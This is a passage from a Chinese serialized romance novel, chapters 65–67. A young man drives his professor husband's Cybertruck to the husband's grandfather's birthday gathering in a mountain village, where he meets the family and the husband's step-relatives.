不就是祁老的儿子吗?! 也就是说。 祁钊是祁未言的儿子,祁老的孙子。 难怪网上有人总是讳莫如深阴阳怪气地攻击钊哥靠家里,这种家庭背景实在很难不被人诟病。 岑康宁也忽然间明白了为什么祁钊看上去永远不缺钱。 理财投资自然是一方面。 最重要的是,祁院长给的生活费绝对不低。 意识到这一点后,岑康宁不可避免地开始紧张起来。毕竟—— 那可是祁老啊! “怎么样?我穿着还合适吗?” 岑康宁站在穿衣镜前,把自己一身的穿搭拍下来,发给玉姐。 其实岑康宁也知道发给学生实在不合适。 奈何满朝文武,他实在无人可用。 一开始他发在宿舍群里,问316的大家自己穿什么可以看上去正式靠谱点儿。 结果以左梓轩跟老大为首。 哥几个一直给他添乱。 一会儿让他穿粉红的,一会儿让他穿女装。 岑康宁被耍了几次后再也不敢征求这几个人的意见,转而投向振哥。 振哥倒是唯一知道他要去见祁老的人。 奈何,振哥是个大直男。 无论岑康宁发什么,振哥都说“好看”“特别好看”,然后表示,其实他觉得岑康宁穿白短袖跟牛仔裤最好看。 岑康宁彻底无奈了,只好将求助的目光投向玉姐。 玉姐人美心善,而且平时就喜欢穿搭,当然非常乐意替岑康宁出主意。 不过玉姐一开始不知道岑康宁是要见祁老。 还以为他是想跟老公过结婚周年。 直到发过去的一些链接被岑康宁义正言辞地“批评”以后,玉姐才恍然大悟。 “见家长啊,早说啊。” 可惜了她好不容易找到的小兔子睡衣! 岑康宁纠正她:“准确的来说,是见爷爷。” 李明玉道:“见爷爷的话,应该不用太隆重,我感觉穿得得体就行。” 岑康宁摇头:“不不,玉姐,是那种很厉害的爷爷。” “一家之主?” “差不多吧。” “……小岑老师您到底嫁入了什么样的一个家庭。”李明玉心中默默吐槽的同时,心想,嫁到这样的家庭,不如离婚改嫁钊哥,以后她就是嫡长硕。 不过看得出来小岑老师跟老公感情挺好的,钊哥最近跟小嫩草好像也是蜜里调油。 红娘李明玉于是默默收回了自己拉郎的心思,重新给岑康宁推荐了一套穿搭。 “这身儿如何?” 她发给岑康宁一身自己收藏已久的搭配,岑康宁看完以后觉得还不错,果断直接下手拿下。 早上刚买,下午专柜的同城快递就到了。 岑康宁饭都顾不上吃,当即换好了衣服,站在全身镜前。 李明玉收到照片,点开一看眼睛瞬间亮了:“好看!好一个欧洲贵族小少爷!” 岑康宁反倒被夸得有些不太好意思,他看着镜中陌生的自己,感到有些意外的新奇。 原来,他穿的很正式是这样的吗? 从未有过的感觉。 好像整个人都变得昂贵起来一般。 不由得,岑康宁转念又想,祁钊好像也没见过这样的自己。他会怎么评价呢? 答案于次日上午揭晓。 祁钊刚回完学生的一个紧急电话,三两句精准解决完学生的问题,转头要找岑康宁的时候,岑康宁已经换好了新衣服。 米白色的西装外套。 搭配浅棕色的领结。 这一身儿在其他人身上穿着最普通不过的搭配,穿在岑康宁的身上,却衬得他格外贵气。 为了搭配这一身儿正装,岑康宁甚至还整理了发型。 发胶作用下,清爽的黑发牢固地向后撩起,露出光洁的额头,精致漂亮的鼻梁眉眼,展示出岑康宁平日里不易见的另一面。 祁钊在原地定定看了一会儿,忽然上前,试图想把他的头发重新弄下来。 岑康宁:“……干嘛?!” 他连忙眼疾手快捂住好不容易才成型的头发,非不让祁钊碰,可祁钊性格也是倔,一次不行,还要第二次上手。 岑康宁终于被弄得火大,睁圆了瞳孔:“不许碰我。” 祁钊很坚持:“弄下来。” 岑康宁不解:“为什么?不好看吗?” 祁钊便不说话了。 其实本人心里心知肚明,不是不好看,而是太好看,好看到有些张扬勾人了,让祁钊下意识拒绝。 “待会儿会到很多人。” 祁钊补充道。 岑康宁愣了一下,有些吃惊,但也不怎么意外。毕竟是祁老的寿宴,社会各界肯定会来不少人。 所以就更该把发型弄正式一点儿,不是吗? 结果祁钊说:“不想其他人看见。” 岑康宁:“……那你那天还穿白色西装?” 说起这事儿岑康宁还来气呢,自己好歹是为了参加祁老寿宴才精心打扮,那天祁钊就只是去泡个温泉而已。 结果孔雀开屏。 一路上不知道让岑康宁暗自吃了多少飞醋。 “没办法,你受着吧。” 岑康宁牙痒痒地道。 心说,后悔吧,这就叫风水轮流转! 然后岑康宁就后悔了。 被他严词拒绝以后,祁钊后来一路上倒是不碰自己头发了,但不一会儿就凑过来,摸摸他的脸。 过了一会儿又捏捏他的鼻子。 再一个红绿灯后,祁钊声音沉静说起:“宝宝,打算什么时候签新协议?” 岑康宁整个人一僵,装傻:“什么协议?” “被你锁在床头柜的那份协议。” 祁钊道。 岑康宁脸腾地一下红了,很想大骂他不要脸,哪有人能一本正经提出这种协议。 可转念一想。 这种骂人的力度太轻了。 岑康宁决定用另一个方法刺激他。 “我倒是可以签,你受得住吗?” 说罢岑康宁挑衅地看向祁钊,漂亮张扬的桃花眼里仿佛写着一句话—— 一周七次。 累不死你! 可祁教授对此的反应却是缓缓打了一把方向盘。 “干什么?” “回去,试试。” 他吐字如金地道。 岑康宁:“……” 对祁钊本人健身实力非常了解的岑康宁终于感到一丝后怕,忙不迭叫停。 “不不不,还是爷爷寿宴比较重要。” “那么多人等着呢,我们不到不合适,真不合适。” “快开车吧钊哥,绿灯了,这次是真绿灯了!” 祁钊逗完了猫,心情颇好。 倒也没有真掉头回去,方才那个路口本来就要变道。 岑康宁松了口气的同时,看着车不疾不徐在马路上行驶,距离市中心越来越远。 半小时后,他开始感到一丝困倦。 岑康宁打了个哈欠,揉着眼睛问:“还没到吗?” “大概还有一小时。” 祁钊说。 岑康宁又打了个哈欠,困得眼泪都要挤出来:“好远哦,没想到爷爷住的这么远。” “确实。” 祁钊对此深有同感。 他曾经因为路途遥远对老爷子提出过抗议,建议他为了所有人方便住在市区里,最好住在祁钊隔壁的小区。 结果被老爷子大骂一顿—— “你一年就回来看我一次还嫌远?!”“嫌远别来了,我也懒得见你,臭小子!” 老头子年纪大了脾气也越来越大。 祁钊无奈,只能选择妥协。 “要不要睡会儿?” 祁钊提议。 cyber这款车的车背可以一百八十度放平,甚至岑康宁想的话,直接放倒后排也行。 但岑康宁摇摇头:“就一个小时,不睡了。” 不过他看了眼驾驶座上的祁钊:“钊哥你累不?” “还好。” 祁钊说。 岑康宁却仍然看着他,本来困倦的眼睛忽然变得亮晶晶的,整张脸写着期待。 这是……想到什么捣乱的点子了? 祁钊正猜测着,岑康宁已经迫不及待开了口:“开了一个小时你肯定累了,要不,换我来开?” 只是这样? 祁钊略有迟疑,但还是说了“行”。 车开到下一个路口的时候,祁钊下车,两人更换了座位。 坐在赛博皮卡驾驶座上。 岑康宁这下子终于困意全无。 说句实话就是,没有一个男人能拒绝这辆车,岑康宁也不例外。 很早,早到第一次见到这车的时候,岑康宁就想过自己开车是什么样子。 一直以来他也有在偷偷观察祁钊如何开车。 所以自觉对车上的各种按钮与功能都非常熟悉。 岑康宁想象中的自己,应该像是《头文字D》里的藤原拓海那样,开着AE86,在秋名山上潇洒地飞驰飘逸。 又或者是范迪塞尔的多米尼克,单手握着方向盘,另一手搭在车窗外,最好手里再拿着一根儿烟。 然而想象是一回事。 现实往往又是另一回事。 岑康宁是大学期间抽空拿到的照,因为听说以后干他们这一行的人没驾照不行,岑康宁愣是从本就不充裕的生活费里掏出三千块钱,咬牙学了一本驾照,细数下来距今已有三年。 三年有多久远? 看岑康宁现在的开车技术就知道了。 他上了驾驶座以后,整个人兴奋不已,结果第一次准备踩电门就被祁钊叫停。 “安全带。” 岑康宁:“……失误,失误,第一次开车有点儿激动。” 祁钊没说什么,只是细致地替岑康宁把安全带绑好,然后轻轻摸摸他的头发。 “没事,你再调整一下座椅。” 岑康宁当然也知道要调整座椅,因为每个人身高不一样,坐在座位上视线也不一样。 要想开另一个人常年在开的车。 上车后第一件事就得调座椅,调后视镜。 因为这事儿曾经岑康宁还被教练骂过,嗯,骂的狗血淋头,岑康宁记忆尤新。 不过这事儿过后也有好处。 好处就是岑康宁调后视镜很有…… 滋—— 玻璃水冒了出来。 “很有问题。”岑康宁在心中郁闷地补充道。 一上来就连续两个错误,岑康宁有点儿挫败了,他颓然地松开方向盘,嘟哝:“太久不开车,我好像有点儿生疏,要不还是算了。” 他以为祁钊也会这么认为。 毕竟待会儿还有正事,今天并不清闲。 可祁钊只是语气平淡地说:“一开始都是这样的。”随后把他的手放在屏幕中的某个按钮上: “按这里调整,重新试试。” 也许是祁钊的语气太冷静,不带有一丝一毫的情绪,岑康宁心中再度燃起希望。 再给了自己一次机会,按照祁钊的指导,开始缓慢地调整座椅与后视镜。 这一次很快。 他看着后视镜里清晰无比的视野,惊喜:“成功了!” “好,现在准备出发,向右打方向,轻轻给电。” 祁钊说。 “嗯,行。”有祁钊在身边,岑康宁莫名地就多了一份底气。这个男人的情绪实在是太稳定了,以至于岑康宁也跟着变得冷静。 所以他没兴奋太久,很快在祁钊精准地指导下,把这辆赛博皮卡平平稳稳开上了车道。 手握着方向盘,目视前方,感受着车子在自己的控制下加速,变道,转弯。 慢慢地,紧绷的精神放松了下来。 凉爽的风也从车窗外吹了进来,吹在岑康宁的脸上。 他感到前所未有的自由与畅快。 一切都很好,唯独就是有一点——风怎么把他好不容易弄好的造型给吹乱了? 意识到这一点后岑康宁立刻按下按钮关闭车窗。 可惜,为时已晚。 副驾驶座上一直情绪稳定的某人唇角微微上扬,勾起不明显的弧度。 终于想起刚刚某人趁着教学调后视镜的时机打开车窗的岑康宁:“……” 以后谁要说祁钊是老古板,他就跟谁急! 哪里古板了? 分明是白切黑。 可惜岑康宁没带发胶,所以造型的事也就只好作罢。倒也没有特别生气,因为驾驶的快乐很快冲淡了造型的重要性。 头发在风中飞舞的感觉实在是太爽了。 车在空荡的山区小路上肆意地开也很爽。 岑康宁现在终于明白为什么很多人一有钱就先买车,开车的感觉真好,好到他甚至开始后悔让钊哥退订。 不过开着开着,他就开始有点儿好奇: “钊哥,我们这导航对吗?” “对。” 祁钊笃定道。 岑康宁:“可是,我看着我们好像要开进山里了。” “就是山里。” “……” 半小时后。 岑康宁下了车,望着眼前一望无际的青山白云,一时竟无语凝噎。 “五年前我爷爷退休,就搬到了这里。” 祁钊以轻描淡写的语气,描述了一个退休大佬不甘寂寞的后半生。 “他在这边儿种地,养鱼,继续教学生。” “任谁说都不回去,去年开始已经退休返聘,年纪大没办法行医了,就成了当地好几所小学的生物老师。” 岑康宁看着眼前的重重叠叠的山脉,一时不知道该说什么好。只能说,不愧是祁老吗? 为国为民辛苦了大半辈子。 八十岁了,竟然还不愿意休息。 正是因为有着这样的人在一线前方砥砺前行,才有了后辈人越来越轻松的生活。 可话又说回来了,他是很佩服祁老没错。 问题是,他今天穿的新皮鞋,出门前好不容易用抹布擦得锃亮,结果现在告诉他要走刚下过雨的泥地?? 岑康宁看着眼前泥泞不已,还到处都是小水洼时不时有蛤(ha)蟆跳出来的山间小路,眼前一黑的同时,身旁祁钊缓缓开了口: “我说过了,你穿的不合适。” 岑康宁:“……” 两分钟后。 岑康宁趴在某个事后诸葛亮的背上,脑袋骄傲地昂起: “谁说不合适了,嗯?说话。” 祁钊说不出反驳的话来,因为他要用尽全力,一边拎着寿礼,一边把某个祖宗从这块儿长达九百多米的泥地里背过去。 作者有话说: 说话![星星眼] 第66章 九百米的距离其实真的不远。 若是按照平时祁钊走路的速度,六七分钟就走过去了。 哪怕是不太好走的泥地,顶多也就再加上三四分钟,十分钟的时间,绝对够祁钊一个人轻松走过去。 但前提,是一个人。 看到这条小路的第一时间,岑康宁就不愿意走了。不想弄脏鞋是一方面,另一反面,刚下过雨的缘故,前面的小水坑里竟然有癞蛤(ha)蟆跳来跳去。 “不行不行,我最讨厌这玩意儿了。” 岑康宁一想到癞蛤(ha)蟆可能会跳到他身上,整个人都不太好。 他掀开袖子,给祁钊看自己身上起的鸡皮疙瘩:“钊哥你看,换条路走吧,行不行?” “这里我不太熟悉。” 祁钊看着岑康宁胳膊上冒出来的小疙瘩,眉心微微蹙起。 但只是片刻。 他有了办法。 “没事,我带你过去。” 说完,祁钊把岑康宁捋起来的袖子重新撸下去,纽扣也扣好。 岑康宁一开始还不太理解,不是说不熟悉吗?要怎么带他过去? 结果便见祁钊先是从车上把给爷爷的礼物拿下来,随后从车后备箱里又拿出一双黑色雨靴换上,蹲在了岑康宁身前。 “……” 那种眼眶一热的感觉又再度袭来。 岑康宁不知道该怎么形容自己这种心情,算是感动吗? 好奇怪。 他心里其实清楚,对于祁钊来说,这个动作实际上也许没有太多的含义,单纯就是祁钊在解决问题。 祁教授解决问题的方式总是简单粗暴。 可看着眼前平坦宽阔的后背,他就是忍不住眼眶发烫,鼻头发酸,心脏在胸腔里砰砰乱跳,好像得了心脏病。 “我……” “宝宝?” 祁钊的声音打断了岑康宁忽如其来的情绪。 岑康宁抹了抹眼睛,很快收好情绪向前,两三步趴在祁钊的背上,用胳膊勾住祁钊的脖颈。 “我重不重?” “重。” 祁钊站起身来的同时,实话实说。 岑康宁承认自己有点儿恼羞成怒,把祁钊的脖子勾得更紧:“哪里重了,大家都说我很瘦的好不好,一定是你最近健身不够努力。” “是吗?” 祁钊背着岑康宁,往前尝试着走了两三步。 雨靴陷入湿润的土地,发出吱吱呀呀的声音。第一次背一个成年男性走在这样的泥地里,一开始当然很不适应。 不过很快,坚持健身的好处就出现了。 祁钊开始适应,并变得愈发脚步轻盈。 两分钟后他决定反驳岑康宁的毫无论据的推断:“最近的健身还是一如既往地努力,以及——” “宝宝,你好像确实有点儿轻。” 岑康宁在祁钊的背上得意轻哼:“说了,我很瘦的。” 结果下一秒。 祁钊:“一个月不许吃泡面炸鸡,补充蛋白质,每天喝牛奶。” 岑康宁:“……” “不不不,我特别重的,你重新再感觉感觉!” 两人聊天斗嘴,九百多米的路很快走完了。 以祁钊的体力其实再背好几个九百米也不是问题,问题是,前方不远处就是村子入口,开始逐渐有人来人往。 岑康宁看到有小孩儿在看自己,觉得有些不好意思了,就示意祁钊把自己放下来,接下来的水泥路他自己可以走。 祁钊也没拒绝。 倒不是他背不动了,主要是这会儿村子里确实人很多。 不仅有原来的村民,还有一些跟他一样来给老爷子贺寿的人,陆陆续续也都到了。 虽然老头子搬到这里的本意就是想清静。 但身份放在那里,清静是不可能的。 每年到了这一天,他在的地方绝对是人来人往,络绎不绝。祁钊其实不太喜欢这样的场合,他天性就不喜欢应酬。 奈何这人不是旁人。 是他的爷爷。 祁钊没有任何理由缺席。 “人好像有点儿多。” 岑康宁也意识到这一点,左顾右盼,下意识地开始紧张。 “习惯就好。” 祁钊道。 说着他拉住岑康宁的手,带着他一齐往前走。两个人在一起的话就会消减紧张感,岑康宁一开始遇到一两个村里的小孩儿目不转睛盯着自己都有些紧张,后面看到各种各样的红旗车,奥迪车路过也觉得心情平静。 就这么一直走。 快走到村路尽头的时候,安静的四周忽然变得嘈杂起来。 “到了。” 祁钊说。 岑康宁脚步一顿,不可思议地看着眼前的农村小院儿。 “就这里?” 他震惊了。 岑康宁恐怕这辈子也想不到,大名鼎鼎的医学界泰斗,退休前天天在新闻联播上露面的大人物,在退休后竟然住在一个看上去如此普通的农村小院。 其实住到农村他都能理解。 因为老人年纪大了不喜欢城里。 住农村可以种地养花养小狗,每天一出门就是美好的风景跟最新鲜的空气,别说老人喜欢,他也喜欢。 可至少,得住个农村小别墅吧? 眼前这桩小院儿是怎么回事? 乍一看过去,就是最普通不过的三两间平房,平房的屋前是一大片儿菜地,屋后还是一大片菜地。 地里也没种什么特别的植物。 就是最普通不过的辣椒,茄子,西红柿……跟岑康宁小时候住的大伯家里简直一模一样。 连狗都长得一样,是只小黄狗。 只除了一点。 岑康宁大伯家的菜地里,不会有这么多西装革履,衣冠楚楚的人神态自若地拿着一个小马扎坐着聊天。 岑康宁的穿着倒是不显得突兀了。 大家都穿得很正式。 可问题是,这真的合理吗? 不等岑康宁想个明白,人群中一个熟悉的魁梧身影已经自顾自接近。 “师兄,嫂子,你们来啦!” 早早抵达的孔宇真兴奋地朝两人挥舞着手掌,一路小跑着走来。 从表情来看,他应该是已经到了许久,且非常无聊,可算能逮着人聊天。 见到孔宇真祁钊反应平平。 岑康宁倒是有点儿高兴。 其实他也谈不上对孔宇真这人有多喜欢,只是能在这种陌生的环境下遇到熟人,他多少感觉有点儿放松,便跟孔宇真攀谈起来。 “孔博,你也来了。” “是啊,师兄没告诉你吗?我现在跟着的老板是祁老的学生,再加上我又跟师兄一起上过学,老板就把我叫过来了,主要任务是开车。” “明白。” 岑康宁想,来这儿确实需要一个司机,路上两个多小时呢。 孔宇真主动道:“你们还没见到祁老吧?” 岑康宁说:“刚到。” 孔宇真:“哦,那你们要不先去找祁老吧,刚刚我看见我导师正缠着他聊天呢。” “在哪里?” 祁钊问。 “后院儿——”孔宇真指了指平房后的地方。 祁钊点点头:“好。” 说罢拉着岑康宁往后院走。 岑康宁人还懵着,人就这么被祁钊往后院儿拉,一开始两三步还好,毕竟他还没反应过来。 直到快走到小平房,眼看着就要走到房子里。 忽然,他头脑一震。 “等等——” 岑康宁拽住祁钊。 “嗯?” 紧张感又再度袭来的岑康宁站在原地,始终无法下定决心走出下一步。 “再等会儿。” 岑康宁深呼吸着道。 “嗯。”祁钊没有嘲笑他,而是就这么陪着岑康宁站在原地,让他随意调整。 其实岑康宁完全知道,祁老这样的老人不可能有任何架子。 从他住在这个农村小院儿就看得出。 可是没架子归没架子,一想到自己马上就要见到这样的人物,岑康宁怎么可能不紧张? 尤其岑康宁还是从小看着祁老教学小视频长大的。 从小学开始,就一直有一个慈眉善目的老爷爷在大电视里教他如何洗手,要用肥皂打出泡沫,手指交叉,使劲儿的揉搓指间。 那会儿岑康宁并不认识祁老。 只觉得他是一位很面善的老爷爷。 长大以后才逐渐意识到这位老爷爷的身份不俗,只是看着普通,实际上身上的成就跟光环岑康宁可能一辈子都望尘莫及。 哦对了,老爷爷还教他要多吃肉蛋奶补充营养。 可惜,无论是那会儿的岑康宁还是现在的岑康宁,心中想的只有门口小卖部的辣条,以及泡面。 岑康宁顿觉羞愧的同时,忍不住地举起手掌,仔细端倪。 “怎么了?” “我有点儿想洗手。” 岑康宁小声说。 祁钊没问为什么,扭头就开始给岑康宁找洗手的地方,奈何运气不太好,刚看见一个水龙头,身后传来一道中气十足的嗓音—— “臭小子!来了怎么都不吭一声!” 祁钊:“……” 洗手是不成了,祁钊不动声色将手放在自己手心里,攥紧,随后扭头,表情云淡风轻:“爷爷。” 祁耿眉毛一跳:“唉!还得是你这小子叫得最好听!” 祁钊没说话,但悄悄地捏了捏岑康宁的手,给岑康宁示意。 岑康宁脸腾地一下红了。 其实他知道祁钊这是要他叫人的意思,可是……他有点儿叫不出来。 平日里的他绝不是这种扭捏的性格。 但今天也不是平日。 要他叫祁老爷爷……岑康宁感觉到脑袋越来越晕,简直大有原地昏厥的趋势。 而这时,不愧是祁老,三两眼便辨认出了此刻的状况。 他仔细看了眼岑康宁,语气迟疑:“……你就是小宁吧?” 岑康宁猛地一惊,连忙手忙脚乱地回答:“对对,我是。我叫岑康宁,是钊哥,不不,是祁教授的……伴侣。” “媳妇儿就媳妇儿,还伴侣。” 祁耿大大咧咧地挥了挥手:“都是一家人,没必要这么拘谨。” “好的……爷爷。” 岑康宁小声地说。 其实他也很想不拘谨,奈何这种情况不拘谨是不可能的。 尤其是他站在这里就不由得会想,祁老会怎么看自己?会不会也像刘阿姨一样,认为他第一学历太低? 每到这种时候岑康宁就后悔起来。 当初高三怎么不多拼一拼。 哪怕多做对两个题,指不定他现在也是P大本科,比不上斯坦福,但也是国内第一梯队。 但有些事情没有如果。 岑康宁心知肚明,自己这个咸鱼的性格缺乏最根本的冲劲儿,就算回到从前一切也无法改变。 想到这里那种懊恼的情绪不由自主地又窜了出来。直到他听见祁老兴高采烈地在跟身旁已经各个是业内大佬的学生们说话—— “……难怪我昨天看到后院儿我给自己留的坟头冒烟了!” “啊?为什么?” “我孙子找了这么一个漂亮媳妇儿,可不是坟头冒烟。” 岑康宁:“……” 祁钊却显然已经非常适应自家亲爷爷的处事风格,面对祁耿的吹嘘丝毫不为所动,将自己提前半天准备好的寿礼拿了出来。 “生日快乐,爷爷。” 祁钊冷静道。 祁耿笑得皱皱巴巴的脸则在看到孙子送来的礼物后瞬间变得眉头紧锁,一开始没接,先问:“是我要的东西吗?” 祁钊说:“是。” 祁耿却还不信,老小孩儿耍脾气,说:“不行,你得当面给我打开我才信。上回我就没打开收了你的礼物,结果你这小子竟然给我送了个自己的论文集,我说你这臭小子别太自恋了,谁要看你的学术垃圾!” “是你说想看我最近的研究现状的。” 祁钊反驳道。 不过他也并没有生气,毕竟对于祁耿的任性没人比他更了解,便不再多说,而是当着众人的面,直接打开了自己的礼物袋。 说实话。 在袋子没打开前,岑康宁还是挺紧张的。 本来他也想给祁老准备一份心意,但被祁钊毫不犹豫拒绝,原话是岑康宁送不到老头子的心坎上,他来准备就好。 岑康宁心里当时还有点儿不服气。 心说,他准备总比祁钊准备好。 反正他是实在想不到祁教授这种性格的人会怎么准备生日礼物,看看小仓库里至今还没解决掉的鲍鱼就知道了。 钊哥完全就不是会送礼的人。 方才祁老的话也侧面说明了这一点。 谁家好人贺寿礼物是论文集? 可看祁钊这次自信满满的样子……岑康宁紧张地攥紧了手,眼睁睁地看着祁钊动作缓慢打开那个黑色手提袋,随后—— “……哈?” 不怪岑康宁差点儿震惊出声来。 主要是这份寿礼实在“石破天惊”。 岑康宁有猜过是毛笔,也有猜过是茶叶,甚至保健品也猜过,唯独没猜过竟然是奶茶! 还是喜茶的多肉葡萄( 眼前发黑的同时,岑康宁忽然想起,昨天晚上祁钊的确问过自己来着。 “宝宝,什么奶茶好喝一点?” 岑康宁下意识回复:“多肉葡萄,三分甜。” 但当时岑康宁完全没想过祁钊是要送给祁老,他还美滋滋的觉得,祁教授开窍了终于不给他买可乐了,开始进阶奶茶了呢。 结果多肉葡萄出现在这里。 身边儿疑似还躺着一份已经放凉的炸鸡。 岑康宁:“……” 岑康宁不动声色地往后退了两小步,试图跟祁钊拉开距离,这样的话待会儿祁老怒火波及到自己的范围也许会小点。 不波及已经是不可能了。 谁让他是“孙媳妇儿”。 岑康宁现在就是非常后悔为什么当初没有强行把送礼的事情揽下来,可惜为时已晚,攥着只能蔫头耷脑地等着挨批。 结果等了老半天。 没等到。 岑康宁抬头一看—— 嚯,老爷子兴高采烈喝奶茶去了! 还一边喝一边啃着炸鸡,那模样别提有多痛快。 岑康宁看傻眼的同时,不由得将惊奇不已的目光投向祁钊。不过祁教授却显然对岑康宁的眼神存在一些误解。 他以为岑康宁也想要,于是轻轻摸摸岑康宁的头发: “你的那份在车上。” 作者有话说: 养猫是这样的,任何东西都有猫一份,嘿嘿。 第67章 岑康宁:“我是那种嘴馋见到别人喝奶茶自己就也想的人嘛!” 祁钊疑惑地看着他。 难道不是? 岑康宁耳根子一烫,颇有些被拆穿本性的恼羞成怒,说:“才不是,我很克制的。而且你一路上开车这么久,多肉葡萄的冰沙都要化了。” 祁钊解释:“后备箱有冰箱。” 岑康宁:“不是,你不懂我,这不是冰箱的问题。” 祁钊:“所以要吗?” “……要。” 祁教授满意,又摸摸岑康宁的头发:“好,你在这里等一会儿,我去拿。” 岑康宁红着脸偷偷点头。 — 祁钊把人安抚好,转身离开。 岑康宁看着他背影离开,有点儿后悔自己没选择跟上去,不过转念又想,去停车那地方的那段路也确实不好走。 他有点儿失落。 但没失落太久,因为很快孔宇真就抱着小黄狗朝他走了过来。 孔宇真显然是无聊到极致了,把小黄狗都烦的不轻,见到岑康宁落单,当然是第一时间凑上来讨人嫌。 “嫂子!我师兄干嘛去了,丢你一个人在这里?” 这不,一张嘴就很欠。 不过考虑到这个地方岑康宁也的确只能跟孔宇真说上话,岑康宁就没发作,而是笑眯眯回应: “钊哥去车上拿东西了。” “哦。” 孔宇真反应了一会儿,忽然:“等下,你怎么也叫他钊哥?” “我不能叫吗?” “不是,不是,当然能叫了,但平时都是实验室那群小崽子叫得,没大没小。” 孔宇真吐槽道。 “倒也还好,我看钊哥自己也不怎么讨厌。” 岑康宁视线落在孔宇真怀里的小狗上。 就是最普通的田园犬,小小一只,清澈的眼神闪烁着无辜又可怜的光芒,被人抱在怀里敢怒不敢言,呜咽呜咽的,让人忍不住就想摸摸它的脑袋。 心有点儿痒,岑康宁说:“我抱抱?” 孔宇真迟疑着看了岑康宁身上干净无比的西装一眼:“它掉毛,你……” 片刻后,小黄狗换了个更舒服的窝,张开嘴巴,小尾巴使劲儿地摇。 孔宇真不无妒忌:“怎么回事,它刚刚在我怀里可没那么殷勤?!” 岑康宁满意地撸着狗脑袋,心说,你把小狗横架着,不咬你已经算狗脾气好了。 但面上却只是说:“也许狗狗比较喜欢我。” “好嘛,这年头连狗也看脸了……” 孔宇真郁闷道。 显然他是想起了某件伤心事,本来眉飞色舞的表情瞬间变得郁闷。岑康宁也想到了,便问他: “最近怎么样?” “什么怎么样?” “安啊——”岑康宁一边摸着小狗毛茸茸的耳朵,一边以漫不经心的语气开口:“你不是在追他?” “哦哦,你说安。” 孔宇真耸了耸肩,神色闪过黯然:“就还是那样,不好不坏吧。不过你放心,他跟你老公也没什么进展,回国到现在连面都还没见过。” 岑康宁:“我没有……” “没有想问,只是关心我是吧?我懂我懂。” 孔宇真露出核善的微笑。 岑康宁:“……” 这小孩儿,确实有够讨厌。 “算了,你觉得是就是吧。” 岑康宁见瞒不过他,干脆也不瞒了:“我关心一下也没错吧?” “是没错,正房夫人应有的权利。” 孔宇真吹了个口哨,道:“不过我觉得比起安来说,你更应该关注一下那边儿那位。” 孔宇真用眼神指了指不远处正拦住祁钊说话的黑发男青年。 青年身姿挺拔,样貌端正。 远远看去,说话时唇角勾起的弧度看上去很甜。 岑康宁一怔。 怀里的小狗似乎也有所感应,伸出舌头,安抚似的舔了舔岑康宁。 “他是谁?” 岑康宁听到自己醋味十足的问。 祁老的寿宴人来人往,在场的人很多,忽然多出几个与祁钊年龄相仿的例如孔宇真这样的青年才俊再正常不过。 能拦住祁钊的人恐怕也不少。 毕竟在场许多人都在学术圈,大家多少有过交集。 如果有人找祁钊聊一些最近的科研前线话题,岑康宁保证某个科研狂魔会脚步骤停。 不过……不远处那个青年能被孔宇真刻意提起,岑康宁不信他没有什么特别。 果然,孔宇真笑眯眯地介绍道: “他啊,是祁院长二婚妻子带回来的孩子,算关系的话,应该是师兄的弟弟。” “……弟弟?” 岑康宁又是一惊。 他瞳孔地震。 是弟弟的话,不是更不需要担心了吗? 不过祁院长竟然二婚了。 难怪…… 岑康宁想起出发前自己收到的黄符,心中咯噔响了声。 “是弟弟,但又没有血缘关系,而且吧,后来又离了,连亲戚关系都算不上了。” 孔宇真八卦道。 岑康宁瞳孔震了又震,已经是再说什么都无法再震撼的程度。 只能说,他现在非常理解阿姨。 …… 不远处。 夏禹正千方百计地试图寻找话题。 “哥,我那天在子刊上见到你的论文了,这么新颖的角度,怎么才发了子刊?现在nature的编辑也太不专业了。” “这篇论文的观点本来就只是猜想。” 祁钊一本正经地纠正道:“如果把它直接放在正刊上,才叫不专业。” “怎么会!我觉得你的猜想很靠谱啊,实验不是也证明了百分之八十多吗?” “百分之八十五点七。” 祁钊再度纠正。 “差不多差不多。” 夏禹笑着弯起眉眼,眼神崇拜看着祁钊:“总是哥你就是最厉害的。” 祁钊却不太吃这一套,看了眼手表,说:“还有什么问题?” “你……” 夏禹怔楞了一下,下意识地把即将脱口而出的关心咽了回去。 因为他很清楚,在于祁钊的对话中,但凡他说一两句与学术无关的话题,很快祁钊就会以“嗯”“还好”“谢谢”等词语飞速结束对话。 这显然不是夏禹想要的。 他不甘心地咬了咬唇,将所有情绪掩于眼底的同时,说起另一个话题。 “有呢,哥,我马上要申请博士了。” 夏禹满怀希冀地说起这件事来,眼神期待地看着祁钊:“我研究生的专业是结构生物,能不能……” “不可以。” 祁钊冷漠无情地打断了夏禹的话。 夏禹瞬间失落无比:“为什么?哥?你甚至都没听完我的简历。” “没有为什么。” 祁钊道:“只是我认为你并不适合搞科研。” “……” 夏禹沉默了。 终于他再也无法维持面上的笑意,露出难看的表情。 “是因为当年我故意弄坏你的样品吗?”夏禹喃喃自语:“可是那时候我还小,我只是想吸引你的注意力罢了,你就不能,就不能……” 祁钊却已经没有在听他后续的话,长腿一迈,只留下两个冰冷无情的“抱歉”,就消失在道路的尽头处。 夏禹失魂落魄的时候。 祁钊的脚步却不自觉越走越快。 倒不是因为夏禹的话对他产生了什么影响,对祁钊来说,夏禹从来都是一个不相干的陌路人。 哪怕因为他的母亲嫁给祁钊的父亲。 祁钊也从未觉得夏禹的身份有什么特别。 夏禹对当年的事情耿耿于怀,祁钊却唯独只是惋惜当年被毁的实验。 之所以加快脚步,只不过是因为时间被耽误,祁钊担心岑康宁等得着急罢了。 然而,今天的祁钊似乎有些不太走运。 才刚送走一个夏禹,没多久,道路的尽头处一辆黑色的迈巴赫缓缓停下。 车门打开。 先是走出一个西装笔挺的中年男人,紧接着,头发已经微微有些花白的男人笑容满面将一个小女孩儿抱了出来。 祁钊脚步顿在原地。 “柔柔,爸爸抱你过去好不好?这儿的路有点儿泥。” 祁未言温柔地问着小女儿。 穿着公主裙的小女孩儿却脆生生拒绝了父亲:“不要,柔柔要自己走。” 看得出来,小姑娘年纪虽小,但主意很正。 祁未言笑得合不拢嘴:“自己走鞋子脏了怎么办?” 小女孩儿骄傲地说:“妈妈给我带了其他鞋!” 这时从车的后座又走下来一个约莫三十多岁左右面容姣好的女人,手里提着一个小书包的同时,果然还带着一双雨靴。 “我给她带了鞋子,别太惯她,今年都上一年级了。” 女人说。 祁未言脸上的笑意却不减,笑得皱纹都出来:“小孩子嘛,惯一惯也无所谓的。” 女人的表情虽然不赞同,但不难看出眉眼间也全是温柔喜悦,直到—— “未言。” 她表情忽然一僵,叫祁未言的名字。 “怎么了?” 正给小女孩儿换鞋的祁未言还不知道发生了什么。 